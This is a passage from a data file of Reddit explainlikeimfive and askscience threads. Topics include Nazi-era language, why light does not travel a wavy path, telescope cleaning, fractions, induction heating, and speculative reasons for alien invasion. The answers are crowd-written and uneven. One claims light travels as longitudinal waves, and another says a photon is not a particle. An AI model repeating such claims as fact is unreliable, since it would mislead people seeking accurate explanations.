viewing a Rembrandt or a Caravaggio, what is actually depicted becomes secondary over the emotion caused by viewing it.\n\nFascist politics, according to Benjamin share this trait by placing a larger emphasize on the ritual \u2013 masses, marches, book burnings, collective gatherings \u2013 rather than what is actually transported politically. For Nazis, it was not so much what Hitler said at some speech, it was how he said it \u2013 how he spoke, gesticulated, screamed \u2013 and how they experienced it \u2013 as part of a large crowd in a stadium, all actin in unison when screaming \"Heil\", wearing similar uniforms, marching in order etc. It is the experience of becoming part of a mass acting in a unified will; a community lead by a single purpose; an intense feeling of belonging and becoming cog in a large machine of people that acts towards the ultimate goal of whatever you image deliverance to be \u2013 of in a very literal sense, becoming a fanatic, meaning someone who experiences the world in a very visceral and intense sense on an emotional level.\n\nIn essence, Benajmin argues that fascist politics are about giving people an intensive, almost lustful, experience of being part of something greater, a movement that will solve whatever ails them, of history, so to speak. And this is achieved through ritual, staging, and performance. Fascist mass politics do not rely on content or arguments but on this very performance and war \u2013 according to Benjamin \u2013 is portrayed and staged as the ultimate experience of all the above described feelings. Which again, encompasses Klemperer's thoughts about the background of the use of \"fanatical\" as a positive term.\n\nThere is more in Klemperer that is really interesting but I chose fanatical among other thins to discuss here because it is comparatively easy to translate and grasp the connotations behind it compared some other terms and phrases he discusses. Especially his thoughts on \"Ewig\" (eternal) and Volk for which there is no really good translation into English that encompasses the totality of connotations this word has (both \"people\" and \"folk\" are not really adequate) are especially interesting but with Klemperer it helps massively if you actually speak German.\n\nThe other and more recent author who has written about the Nazis' use of language was the late Boaz Neumann, an Israeli historian who in 2015 unexpectedly died of cancer at the age of 43. Before his untimely death he published his 2010 book *Die Weltanschauung des Nazism. Raum, K\u00f6rper, Sprache* [The (ideological) Worldview of Nazism. Space, Body, Language), which deals with Nazi ideology from a more philosophical standpoint of language, space, and body both shaped it and were shaped by it at the same time.\n\nThe first important point he makes is already in the title and deals heavily with Nazism and language: Weltanschauung is a word that is commonly translated as \"worldview\" but encompasses certain dimensions in German that it does not have in English. This includes some directly shaped by the Nazis. Nazism rejected for itself the notion that it was an ideology in the rather literal sense of being based on ideas. Etymology-wise \"ideology\" is the study of ideas and with all the modern transformations that word underwent in the 19th century and before, it still retains the notion that it is defined by being a system of ideas and ideals that form a body of thought about politics, economics, and the world.\n\nThis was a notion Nazism rejected in favor of being a \"Weltanschauung\" because \u2013 as Neumann describes it \u2013 the ontological transformation metamorphosis from language to deed. Worldview as a term that literally encompasses the act of viewing the world was a preferable moniker for \n\n >  the eye and the view were understood as options to circumvent intellect and thinking. While intellekt and philosopohy are based on a line of thinking that is estranged from life, the sight [view \u2013 Blick in the original] is based on the experience and therefore an organic part of life.\n\nNazism, according to Neumann, understood itself as not reflecting on life but acting in life and providing a holistic experience of life. This is why they \u2013 and other fascists \u2013 never developed a body of philosophy or theory similar to those of communism or (traditional) liberalism. The central characteristic of Nazism and other forms of fascism to a different degree is the elevation of the deed, the practice, the act over the idea and the reflection.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n ", "Speaking from a linguistic standpoint, the idea of \"dumbing down\" a language as a method of narrowing a society's ability to think deeply about things (while perhaps something someone may have *tried* to do) is not rooted in any causal relationships that are quite that simple. English is a perfect counterexample.\n\nIn his book [Our Magnificent Bastard Tongue](_URL_1_), linguist John McWhorter addresses the many uniquely simplified aspects of English syntax--as he describes it, \"compared to how languages typically change over time, English lost a perplexingly *vast* amount of grammar.\"\n\nMcWhorter lays out a very well-supported case for this phenomenon having been the result of the large population of adults who integrated into the  culture and learned a simplified version of English as a second language after the Viking and Norman invasions.\n\n\"Think of it this way: you could cram your head full of every Russian word, and yet find that Russian six-year-olds were little Churchills compared to you walking around bursting with isolated words but unable to conjugate, mark nouns for case, use words in the proper order, or pull off any number of things fundamental to saying even the simplest things.\"\n\nThat said, this mostly refers to syntax, not strictly vocabulary, as it seems Eco implies. This is where a couple of problematic ideas come into play. The Sapir-Whorf Hypothesis is the widely discredited notion that a person's worldview and how they perceive and categorize the world is inextricably controlled by the structure of the language they speak.  This has been the pseudoscience behind everything from the Hopi time controversy, originated by Benjamin Whorf, to intercultural assertions of racial, national, and/or curtural inferiority.\n\nWhile some effects of the reformulated concept of \"linguistic relativity\" have been seemingly demonstrated in very narrow semantic contexts--e.g. [Russians considering light blue and dark blue as different colors](_URL_0_) (as English does with red and pink) seems to result in a more finely tuned ability to distinguish between more subtly different shades of blue than people who do not conceive of them as simply different hues of the same color.\n\nAs you may have noticed, I described that entirely without mentioning language. This study found a correlation, but not a distinct causal link between perception and specifically language. It may very well be that Russian's linguistic distinction for these two colors is the result of a perceptual distinction that stems from an entirely non-linguistic cultural factor that was not controlled for.\n\nThat said, I have heard many discussions in popular culture of the notion that \"having a word for something\" offers a gate to greater insight and understanding of that thing, whether it be an object, an emotion, a mathematic operation, etc. I have also heard it discussed in reference to the birth of human language and how important that was as an evolutionary step. Unfortunately, I am not familiar with any academic work on this idea, nor how it would inform the validity of Eco's inference.\n\nIt may be worthwhile to state, though, that I have never heard it suggested by any linguist that it could work in reverse--that avoiding certain words could impact the ability to think deeply about certain things.\n\nI'm not so sure that's what Eco is implying, though. All subcultures have jargon, and that jargon will always include the nuance and implications certain words carry with them. As an American who is a leftist, I would never in earnest use the phrase \"fake news\" because, while it does refer to legitimate things, it's so widely associated which a very particular usage that I do not intend to convey. In my perception, it's also primarily used in lieu of expressing specific evidence-based critiques of pieces/sources of media--and almost always with an air of dismissive arrogance and beligerant, almost proud ignorance and disregard for nuance.\n\nConversely, many of the neologisms that have evolved around discussions of societal and political power differentials are shunned by much of the rest of the American political spectrum and chided as \"virtue signaling\".\n\nIn writings or teachings that come from people of these schools of thought, would it be accurate to say the vocabulary has been \"simplified\" by excluding these sorts of words so that readers won't be lured into opposing thoughts?\n\nI don't think so, but I definitely think the clear intent is to convey a robust view of things as the author understands them to be true. And I definitely think that can impact a reader's perception of an issue. That's literally the point of all language, to convey ideas and transfer them to others. And if no one expains to you that Jews are *not* a societal ill that warrants eradication, you are less likely to have that thought in a culture that tells you otherwise (as, if no one gives that thought to you, you must formulate it yourself).\n\nI can find no evidence that this is chiefly because of individual word choice, though. What we know of language and though makes it much more likely that excluding any counter arguments (even to debunk them) is much more likely too cause a reduction in deep thoughts about a topic then the mere exclusion of any or some of the words your opponents use to make their counterarguments."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.pnas.org/content/104/19/7780", "https://www.amazon.com/dp/B01K04MHYM/ref=cm_sw_r_cp_apa_i_7OziBb2M1MKGC"]]}
{"q_id": "ciga6z", "title": "light travels in waves, so covers more distance than a straight line. so does that mean light actually travels faster than light and its wave pattern slows it down when measured point to point.", "selftext": "Was just talking to my daughter about waves and particle radiation. She said \"wouldn't it be quicker for light to go in a straight line\" . And my high school physics is waaaay out of its depth right now.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ciga6z/eli5_light_travels_in_waves_so_covers_more/", "answers": {"a_id": ["ev52ktn", "ev52zyk", "ev54s1r", "ev58jgo", "ev5l1ge", "ev5t5jw", "ev6370z"], "score": [18, 2, 6, 3, 2, 2, 3], "text": ["It does travel in a straight line, this is where the visualizations confuse people. I assume you are thinking of a wave shape and think the wave is traveling along that wave shape, herein being the confusion.\n\nThe \"wave\" represents the electric and magnetic field strength **at the point where the light is**. We just have no way of representing this strength on paper beside by drawing curves, drawing in the other dimensions. So the wave  is not the path taken by the light. The path taken by the light is indeed a straight line.", "Think of it like a curved piece of wire. The wire isn\u2019t a straight line but if you tied a string to the end and pulled it then it would still travel in a straight line even though the object is curved.\n\nIf you have a kid you can show it with a slinky or a spring, just don\u2019t attach the other end to something and pull it along. It will keep the same shape while moving in a straight line. (You could also draw a squiggle and a straight line on a paper and pull the paper along and ask if the squiggle is moving slower than the line).", "There is a lot going on here and it's way above a high school physics level question lol.\n\nA photon, like any particle, is not just a continuous wave from the origin to the destination. For *most* circumstances it is okay to think of it as a point particle and not a wave. The actual solution to the wave equation is a wave packet. A small area of quantized energy that propagates in a direction orthogonal to the E & M fields of the particle. In reality, it is impossible to know which point of the wave packet to call the \"particle\". The wave packet simply represents a probability distribution and the photon could be anywhere within the wave packet. These are just visualizations we use to try and make quantum mechanics more tangible to people. The reality is that quantum mechanics is un-intuitive and trying to explain things to most people would just confuse them and/or make them totally lose interest.\n\nSort of getting off track here. Anyway, another thing going on here is relativity. The photon itself does not experience distance or time. An object moving at the speed of light would experience total time dilation, that is time would completely stop. So as far as the photon is concerned you could either say that it was emitted and absorbed in the except same instant, or that it never moved.\n\nIdk how well I explained, I have a degree in physics and trying to explain it without the math is hard for me.", "Had to read this one many, many times to understand the question. You are thinking that the photon \"wiggles\" as it is advancing, thus it would have to cover more distance than a straight line. But this is not how it works, photon is not a particle. Particles have thermal \"wiggle\", photons go in a straight line.\n\nVery wrong way to look at it but might help to vision it: think that the photon dims and gets brighter as it travels in a straight line, like a light bulb that flickers at a steady pace. That flicker has a frequency. This is the wave. But note: this is NOT how it works so this analogy isn't accurate and should not be thought to be the behavior. But it shows that we can have a property that is not just about \"movement\" but something else entirely. Don't know if this helps or hinders...", "it\u2019s not a wave like \u201coh im a light particle, i personally trace a wiggly path as i move from a to b\u201d. transmission of waves is more like a crowd doing the wave in a stadium. the wave is a thing that *happens*, not a thing that *is*.", "[diagram](_URL_0_) light and other electromagnetic waves travel as longitudinal waves. This means instead of the typical wave you're thinking off the waves compress and sites out carrying the energy like a slinky as opposed to ocean waves.\n\nThe diagram shows it as a coil but imagine the things as photons that are closer or further apart. \n\nThat's how I learnt it anyway for my gcse's a few months ago.", "Imagine you were traveling in a straight line and you were screaming with increasing loudness as you traveled. If somebody plotted your loudness, they might think you are traveling up a hill (because your loudness is going up) but really you\u2019re just traveling in a straight line and your property of loudness is increasing. \n\nLight travels in a straight line, but it\u2019s electromagnetic field strength goes up and down. This doesn\u2019t mean the light is going up and down, it means the property of electromagnetic field strength is increasing and decreasing as it travels."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://i.imgur.com/AMjQzpy.jpg"], []]}
{"q_id": "8wycrp", "title": "How are lenses cleaned and maintained on large telescopes (e.g. The Hubble)?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8wycrp/how_are_lenses_cleaned_and_maintained_on_large/", "answers": {"a_id": ["e1zg37s", "e1zrddm"], "score": [38, 12], "text": ["No cleaning is done on Hubble - but in space, there is no air to carry dust. \n\nOn earth, regular cleaning of large telescopes is done with CO\u2082. This does the job for most of the time, but occasionally the mirror has to be removed, the reflective coating stripped off with solvents, the miror re-coated, and the mirror reinstalled.\n\nThis video shows the process: _URL_1_, and this one [explains it](_URL_0_)", "The Hubble mirror isn't dusty, but whenever the optical tube is open, it subject to micrometeoroid impacts.  The flux of such particles entering the tube sufficiently parallel to  its axis to strike the mirror is no doubt extremely low, but after nearly 30 years in space, low probability events occur.\n\nHas anyone ever estimated the degradation of the mirror surface from meteoroid impact?  The instrument will no doubt re-enter the atmosphere long before mirror pitting has a significant effect.  \n\nI just wonder if it has had a detectable effect.  \nThat is, if scientists/technicians were asked about the condition of the primary mirror relative to first light, could they run any tests that would detect or possibly estimate the amount of pitting at the  submicron scale."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=gxp6aMhoT9U", "https://www.eso.org/public/videos/vlt-mirror-cleaning/"], []]}
{"q_id": "9sgh7e", "title": "why does prostitution seem to be less common on dating apps like tinder in north america than other places?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9sgh7e/eli5_why_does_prostitution_seem_to_be_less_common/", "answers": {"a_id": ["e8okccp"], "score": [2], "text": ["In my experience, they do - quite a bit. But because of legal restrictions, their profile is not explicitly obvious. Even their conversation by text is very circumspect.\n\nAfter matching with a few and realizing what they really are, some of the codewords and post methods become obvious.\n\nThe biggest one is if they are looking for \"generous\" men, in my experience.\n\nStill, nowhere near as prevalent as scambots..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "j0avd", "title": "I fixed the old green color of AskScience. What are your thoughts?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/j0avd/i_fixed_the_old_green_color_of_askscience_what/", "answers": {"a_id": ["c282pw3", "c282sr5", "c28374f", "c2837a3", "c28382m", "c2839u7", "c283b9y", "c283fxl", "c283kpw", "c283rdn", "c284f8g", "c2854y7", "c285b7v"], "score": [30, 47, 10, 3, 145, 28, 4, 6, 2, 4, 2, 2, 2], "text": ["fixed? I like it better before.", "Thank you. The sickly green was an eyesore. ", "Less chlorophyll is a good thing, for once.", "Hmm...maybe we should try peach.", "Much better, but to be honest, I think the logo is still way too big. It stretches out the header and makes it so there's just a giant lavender rectangle at the top of my screen.", "Now it stands out more when I abuse my power.", "It didn't matter to me before, it doesn't matter to me now.  I personally don't come here to look at pretty colours.", "I like this one much better. The other one reminded me of public bathrooms.", "Is the background more pink than the entire rest of Reddit? \n\nActually, the entire thing seems so pink to me. :(\n\nDon't make me turn off custom stylesheet, I like the up-lightbulb.,", "I liked the green, it wasn't beautiful, but it made this subreddit stand out from the rest of the site.", "The green color made this place /askscience. But I guess this a nice shade of purple.", "It appears that we have blue shifted.", "If we have to ditch the lab alien for something vertically slimmer, how about an illustration similar to this?\n\n_URL_0_\n\nNote: I know it looks terrible. Perhaps a real artist could take my idea and make it into something good? The word Enzyme doesn't have to be there, it was only to clarify what the blob was."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], ["http://i.imgur.com/D8njr.png"]]}
{"q_id": "71cy2k", "title": "why is 1/2=half, 1/4=quarter, yet all other fractions refer to the number value...1/3=third etc...?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/71cy2k/eli5_why_is_12half_14quarter_yet_all_other/", "answers": {"a_id": ["dn9se0t", "dn9uuat"], "score": [20, 5], "text": ["quarter is actually from the latin of 4, so it is a fourth (which is another word for a quarter).\n\nHalf is just common enough as a phrase before it was used in mathematics to continue using it. Plus \"a second\" leads to a lot of confusion.", "Well, 1/4 is also called one fourth. One quarter is an alternate name for it, since English has many roots providing many alternative terms for things.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8enlj3", "title": "when iron is moved in a magnetic field, why does it heat up?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8enlj3/eli5_when_iron_is_moved_in_a_magnetic_field_why/", "answers": {"a_id": ["dxwll1a"], "score": [5], "text": ["The iron experiences a changing magnetic field. This causes electrons to want to move, that is, it makes electrical current flow. Since the iron has some resistance, the current flowing through it makes heat.\n\nThe equation for it is this:\n\n(EMF) = (change in magnetic field through the iron) / (time elapsed)\n\nEMF: electromotive force. In many instances, this is basically the same as a voltage applied across the iron, so if you change the magnetic field more, it's like hooking it up to a bigger battery."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "agqi88", "title": "What would be a \"realistic\" reason for aliens to invade? Are there any natural substances common on earth that are rare on a galactic scale?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/agqi88/what_would_be_a_realistic_reason_for_aliens_to/", "answers": {"a_id": ["ee8h4li", "ee8hq55", "ee8lk1y", "ee8nmac", "ee8o0zu", "ee8sfqr", "ee8sqck", "ee8u6hf", "ee8usga", "ee8uz5p", "ee8vd01", "ee8vntf", "ee8vrn2", "ee8vu0c", "ee8vx2b", "ee8w0an", "ee8w1px", "ee8w35m", "ee8wa4i", "ee8wc5v", "ee8wsr0", "ee8wu6f", "ee8wvbn", "ee8xb25", "ee8xhs2", "ee8xumk", "ee8xx9u", "ee8yu26", "ee8z7mc", "ee8ze0a", "ee9098j", "ee90uwm", "ee91l6f", "ee91z9k", "ee937uv", "ee93md5", "ee94jk1", "ee967zy", "ee992yl", "ee996gh", "ee99vnt", "ee99zhh", "ee9a4ks", "ee9aabo", "ee9ags6", "ee9ajo9", "ee9ak5n", "ee9b0js", "ee9b5xj", "ee9b7my", "ee9byo0", "ee9cagk", "ee9cunf", "ee9d0ro", "ee9de3c", "ee9fvgw", "ee9hg6t", "ee9il5t", "ee9ixp9", "ee9l91f", "ee9l9gh", "ee9m0zj", "ee9mbpg", "ee9mtm8", "ee9mu65", "ee9p794", "ee9peei", "ee9q6y1", "ee9q9y5", "ee9r6f6", "ee9rwdx", "ee9s310", "ee9s3kv", "ee9sqr0", "ee9t70g", "ee9v9jp", "ee9vd8o", "ee9vi9n", "ee9volv", "ee9vonn", "ee9vozl", "ee9w8ji", "ee9why1", "ee9wwud", "ee9xd8r"], "score": [12, 561, 6919, 292, 177, 122, 65, 3, 35, 17, 41, 508, 9, 17, 4, 15, 6, 16, 2, 13, 2, 5, 7, 47, 2, 12, 45, 88, 30, 6, 3, 7, 17, 11, 5, 6, 4, 6, 13, 5, 2, 7, 5, 5, 4, 7, 3, 27, 6, 24, 4, 3, 3, 3, 6, 3, 5, 2, 4, 5, 3, 5, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 4, 2, 2, 2, 3, 3, 3, 2], "text": ["No. \n\nThe elements on a universe scale fall into the same relative abundances everywhere. \n\nEDIT: Everywhere where stars/planets form. \n\n_URL_0_\n\nThe only thing aliens could want are us (complex organic lifeforms/slaves) or perhaps manufactured tech parts? Sure they'd probably be crude in their eyes but they could still be useful.)", "If they can live in Earth's ecosystem, then we have a whole planet sitting here ready to move in.  (Even if they easily *can*  build space habitats  or terraform hostile planets or whatever,  why not take this one?)\n\nSome people have postulated that biological materials (plants and animals)  may be very valuable on their own.   The extraterrestials have plenty of silicon and aluminum  and iron wherever they go,  but they don't have flamingos or llamas  or  beets.  (They may have things that *look*  like flamingos, llamas,  or  beets,  but those things will be biochemically different.)", "\n\nAs others have said,  raw resources like water,  hydrogen,  metals,  and silicon are readily found throughout the universe so it's unlikely that they would come for those especially since interstellar travel would already take tremendous amounts of resources.  They'd likely have self sufficient food, water, air and manufacturing production easily solved long before leaving.   \n\nI don't really buy aliens attacking without provocation any time in the near future since we're many generations away from being able to attempt interstellar travel,  let alone being able to threaten another planet.   Maybe they've been attacked themselves and view any life as a potential existential threat or maybe they're thinking on such long time scales that we can hardly fathom what they would consider important.*\n\nHowever, if their homeworld orbited a dying star or they faced a similar catastrophe then earth would be a mighty tempting target.  Other redditors have posted illuminating discussions that explain why alien life might very well be more like us than not (regarding how unique and flexible water and carbon are and why other elements are not) so it wouldn't surprise me if an alien visit were to be by carbon and water based life.   \n\n*I love the other theory about them wanting our biomass but that verges into sci-fi speculation, along with any other explanation based on them having entirely alien and unrelatable motivations.   Sure,  maybe they want to assimilate us or forceably evolve is into a more advanced species but we should focus on the reasons that make sense to us first. \n\nEdit 1: Comments on this post have been insightful and are well worth a read.  Very good points were made that aliens could want to wipe out *any* life they find to eliminate future threats, that intelligent life is what makes Earth so rare so they'd come to exploit that, and my personal favorite: that an alien race could have set out to a habitable planet with no malicious intentions and after tens of thousands of years they arrived and found it occupied.  Without the prospect of a return trip and facing extinction they would simply take it by force since it's us or them.  \n\nEdit 2: I want to clarify that my answer is based on a strict interpretation of the question - this is about an *invasion* so I've downplayed things like them wanting to obliterate us from afar because we might become a threat or why they'd want to come peacefully. \n\nSide note edit: I personally feel that interstellar travel takes so long and consumes so many resources that the likelyhood of *any* type of first contact is quite low.  Moreover, a species advanced enough to make the trip probably doesn't really need anything that we have that they would have to take by force.  Still an awesome discussion to have.  \n\nI like to believe that peacefully seeking out alien life is the natural apex for a species that has fully developed itself and that is what could drive them to explore the stars.  \n\n\n\n\n", "The plausible scenario there is that it's not even the aliens themselves, it's just self replicating robot factories (von Neumann probes) designed to dismantle solar systems and turn them into more robots. It wouldn't be hostility, they'd just be after the metal in the core of our planet and the energy output of our star.\n\nIf you're a civilization with the power to build Vonn Neumann probes, you have to be afraid of another, older civilization that's already started converting all the matter and energy around them into robot ships. Such an older civilization would be incentivized to wipe you out to prevent you from becoming a threat yourself. The only way to defend yourself against such a powerful older civilization is to do exactly the same thing. That way when you do eventually encounter each other, you have strategic resources available.\n\nPresumably some civilizations won't do this. But they also won't contact very many species relative to the \"eat the universe\" strategy. So it's much more likely that our first contact is going to be with the interstellar equivalent of locusts.\n\nEDIT: To be clear, the probes don't have to be \"gray goo\" in the sense of nanomachines. Frankly, making them that small makes everything a lot harder. They also don't have to be self-contained. It might be easier to break the factory up among many ships that fly together. But self-replicating robotic factories are still pretty dangerous if they decide to dismantle your planet. ", "Seriously.  Take the rough conceit of Predator, and then assume the hunters eat the game they bag.  Not an unreasonable assumption.\n\nNow, assume we are delicious.  I mean really, really delicious.\n\nAnd before you scoff, look at the amount humans will pay for scarce, delicious food items (truffle, Kobe beef, aged vinegars, ...)", "No. There's no resource that can't be had easier and cheaper in any number of other locations.   \n\nThe energy, time and technology needed to travel to another star system is so huge it's not worth it for any resource.   \n\nPrecious metals? Mine the asteroids instead. Water? Mine comets. Energy? It'll cost more energy to get here than they can extract and ship back home. Food? Food is energy, it would be cheaper and easier to grow their own food around their own star. It's unlikely that aliens would have the right enzymes to digest earth food. Slaves? If they have the technology to travel between stars they have the technology to build robot slaves, or just breed their own.  A place to colonize? Cheaper to build orbiting habitats around their own star.  And if you're going to colonize another star system, you'll pick a red dwarf that will last hundreds of billions of years, not a yellow dwarf like the Sun, which will burn out in one or two billion years.\n\n\nWe're at the bottom of a massive gravity well, an unattractive place to look for any resource if you're a spacefaring species - you'll have to spend a lot of energy lifting stuff out of the gravity well.   \n\n\nEconomics applies to everyone, even aliens.", "There are no good reasons to invade. We are in the far arm of the galaxy, resource are abundant in the galaxy, and there are potentially billions of planets in the habitat zone of stars.  That leaves unreasonable reasons to invade such as religious crusades.  ", "Why would they need resources from Earth? An interstellar capable civilization wouldnt need to harvest any resource we have, either by creating it or finding it elsewhere. Kind of like how u wouldnt need to harvest building materials from a colony of ants to build your house.", "DNA polymerases. We've gone to great effort to find extremophiles with the right natural optimum working temperatures for us to exploit for science.  \n\n\nWhat if our 37C/100F was an aliens 80C/175F?\n\n & #x200B;\n\nGenetic material and proteins in general? Even with homeworld proteins and DNA, the new pool of exploitations on Earth would expand their possibilities (I'm thinking of the way we harvest a species with/out some chemical modifications to create useful mass-scale chemical/biological products). ", "A refined source of Uranium is the only substance that would make sense.  Uranium is radioactive and has constantly been depleting on Earth, at its halflife rate, since Earth's formation.  This could be said to be true about any other stellar system.   Most other useful resources are not degrading with a half-life.  So it would be feasible that Uranium could be quite rare in older stellar systems, especially first generation star systems.", "I see a few people suggesting that aliens would want to eat us, or other plants and animals on our planet. However, this is assuming that aliens would be able to digest us. All complex life on our planet uses the same set of proteins, but there's no reason to think that those proteins would be digestible by an alien organism.  If they can't digest the proteins, they would probably act as an osmotic agent in their digestive tract(if their digestive tract is anything like ours, and were assuming they're biologically similar to us if they're going to eat us)\n\nTLDR; aliens would probably be human intolerant in the same way that many people are lactose intolerant\n\nStill TLDR: if aliens ate us we'd probably give them diarrhea", "One of the most interesting ideas I\u2019ve read about (posited by the author Iain M Banks) is one of alien tourism.  The idea is that it is super rare to have a moon that\u2019s the same size as the sun when you\u2019re standing on the surface of a planet, and that the total solar eclipses we get would draw intelligent, curious alien species here to view them.  ", "Experiments. Not necessarily with the intend to kill us but accidents happen. Depending on how different they are they may not even see us as more than plants or animals. \nThey could try new technologies in every biome like humans did with atom bombs in the desert. \nNanobots using surrounding material to construct stuff (dissolving humans in the process), weapons of mass destruction, newly created means of power generation too unpredictable to test them on their own planet. I would guess if aliens came and destroyed us it would be more of an accident or an inconvenience. ", "The only thing I know of as rare in space is potentially life. There is a neat thing about 4.5 billion years of Earth's evolution, it's given the chance for quite a bit of different life to develop. Each branch of life being a new probability engine of potential. \n\n\n\nBut why would an alien species care, outside of a really expensive zoo to go check out? Chemistry. Enzyms have an incredible effect to act as catlysts to reactions. The billions of different species on Earth, all with millions of potential enzymes in their biotic heritage. The stomach acids of a Elk could revolutionize how the Zfarlic's produce their lightspeed fuel. ", "Possibly they want to mine the sun and just turn the solar system into a Dyson swarm. Or maybe they want to collect samples of every part of the earth's biome.\n\nBut for the most part, unless intelligent life is so common that it's present in almost every system it's not worth the bother of exterminating us though.", "I don't believe they would invade in an hostile way, because I believe they would follow what I call the \"intergalactic golden rule\" and the \"principal of stewardship\". \n\n & #x200B;\n\nThe intergalactic golden rule is simply what it sounds like. A race capable of bridging the stars is very likely to have come to the conclusion that equality through rational cooperation is typically more productive than destructive survival of the fittest. Thus an alien race would seek to learn from us what they can, and seek a unification when the new whole contains the strengths both bring to the table.  \n\n\n'Stewardship' means, among other things, that we have an obligation to protect lesser species, but not from an altruistic sense, but because the lesser species may be valuable to us individually and to the ecosystem we protect, either now, or in the future in ways we cannot predict.  Thus whatever short term need may be gained by razing/ransacking the Earth is likely outweighed by potential benefits as yet unknown.   \n\n\nI'd much more be concerned about a superior race invading, and deciding to treat us like we treat our own lesser species. For example, if we as a society say it's ok for us to test cosmetics on animals, ie advance the subjective,shallow, dishonest, and whimsical art of artificial 'beauty' by essentially torturing animals, can we make a logical, moral argument that they don't have a right a similar right, as the superior species, to do the same to us?   \n\n\nPersonally, I think if we treated each other and the species we live with in the manner in which we'd hope a superior alien race treated us, we'd all be a lot better of.", "Our Brains.\n\nThis is going to be pretty far out there, but if you wanted a real calculating compute to predict uncertainty in advanced equations, then brains produced by natural selection would really be useful for that. And the thing is, you can't just take our DNA and clone us. You need our cultural real experiences within reality to make use of that data.", "The Primes in Pandoras Star offer a believable explanation for genocidal aliens.  They evolved in an environment where any other intelligent life would genocide them given any chance so they would see us as potential threats and wipe us out.  In fact the primes destroyed any and all life that didnt offer them potential benefit leaving only food giving crops alive.", "Biodiversity.\n\nWe have a biosphere that is extremely diverse and rich in potential valuable proteins and genetic materials.\n\nIt's possible that they may aid in the production and development of advanced nanotechnology or biomimicry.\n\nAliens looking to harvest such samples may not necessarily invade, but rather occupy and contain, to prevent any further degredation of the environment. They may proceed to cull humans much like we cull animal populations that have grown uncontrollably in the absence of natural predators.", "As others have stated, there are no good reasons to invade us as far as natural resources. This leaves on the table other non-avaricious motivations, such as politics or religion or xenophobia. These are all quite common motivations in the species we have observed with the demonstrated capacity for space travel, and similar behavior has been demonstrated by other biological systems.\n\nAs to the likelihood that a truly advanced civilization would still be motivated in such a way, I offer the graceful and compelling words of Greg Egan, in his masterpiece *Diaspora*:\n\n\"Fleshers used to spin fantasies about aliens arriving to \u201cconquer\u201d Earth, to steal their \u201cprecious\u201d physical resources, to wipe them out for fear of \u201ccompetition\u201d . . . as if a species capable of making the journey wouldn\u2019t have had the power, or the wit, or the imagination, to rid itself of obsolete biological imperatives. Conquering the galaxy is what bacteria with spaceships would do \u2013 knowing no better, having no choice.\u201d", "interstellar travel alone would doubtless be the reason, outer space is vast, and as far as we know, resources such as food are scarce, if an alien species came to earth and waged war, the first reason would be for food.", "Like everyone else is (mostly) saying, the only resource available on Earth that isn't common in our solar system (as far as we know) is intelligent life. In order for aliens even to bother with first contact, presumably they have something akin to either our sense of curiosity/science, or some of our worst traits (xenophobia, religious extremism). If it's the latter then first contact would likely take the form of a planet-killer-scale asteroid they send our way - whether we would see it coming given our present level of technology is another question.", "Biological material would certainly be the most obvious target. There is reason to assume that Alien Races would exist in forms not totally unlike us, and that means we could offer three things to an alien race- Food, Medicine, and recreational drugs.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nAny interstellar race would most likely have gotten beyond the scarcity issue. At that point, variety and novelty become strong motivators. Imagine that you have full access to all of the food, clothing and shelter you could ever want. What do you want next? You want luxuries. You want the unusual. You want the *new*.\n\nThe silk road, Tobacco farming in the new world, and our current drug epidemic are all examples of things we *want* but do not necessarily *need*.\n\nThe Television show Alien Nation imagined the aliens getting drunk off of spoiled milk. the Miniseries *Children Of Earth* imagined that aliens used human children's hormones as a potent drug. \n\nI would think that first contact could certainly be from Alien Treasure Hunters, looking for the next new *something* to sell to their own species.\n\n(Let's all hope that our Alien Visitors are unlike those of *Stargate,* using us in a parasitic manner.)", "Boredom.\n\nWe have Strawberries, Harry Potter, Cats, Chinchillas, Pizza, cheese, Levis, Rock and Roll, Nintendo Games, Poems for your sprog, and dank memes.\n\nAll very rare off-planet.\n\nIn the grad scheme of things interesting food, novel pet species, unique proteins/biocompounds, cool tech, fashion trends and interesting new media are the only rare things. Those traveling the galaxy have economies to keep running, and economies thrive on consumer novelty. Everyone has infinite food, robot servants and flying cars, but no one has Queen's Greatest hits.\n\nMost other compounds and elements are easily created with a sufficient number of sequential supernovas, and waiting around long enough for all the scattered bits to collect up and interact.", "When aliens DO abduct people it's because there's a superstition on several planets that human body parts, dried and ground into a fine powder, are an effective medicine or aphrodisiac.\n\nHumans who are captured, implanted, and released are a part of a conservation effort by the galactic government to track the human population  &  make sure it isn't over-hunted.", "Not invade, but to destroy.  It is more likely \"they\" would destroy our sector of the galaxy in order to deny access to another hostile civilization.  Our planet and Sun may not be important for other reasons than location.", "There is a short story that I forget the name of where aliens wait for civilizations to announce their existence via radio broadcasts and then kill themselves in nuclear hellfire. Then they show up and collect all the resources the dead civilization had dug up to build all their stuff. Harvesting from dead worlds was easier than mining it all themselves.", "To avoid a behavioral sink. Basically, as populations climb far above the natural background level new behaviors start to appear in the population that may be highly detrimental to the species ability to continue procreation. We see this in mice studies, where mouse populations collapse long before reaching \"peak\" levels due to high background stress and social abnormalities becoming so prevalent that the population fails to 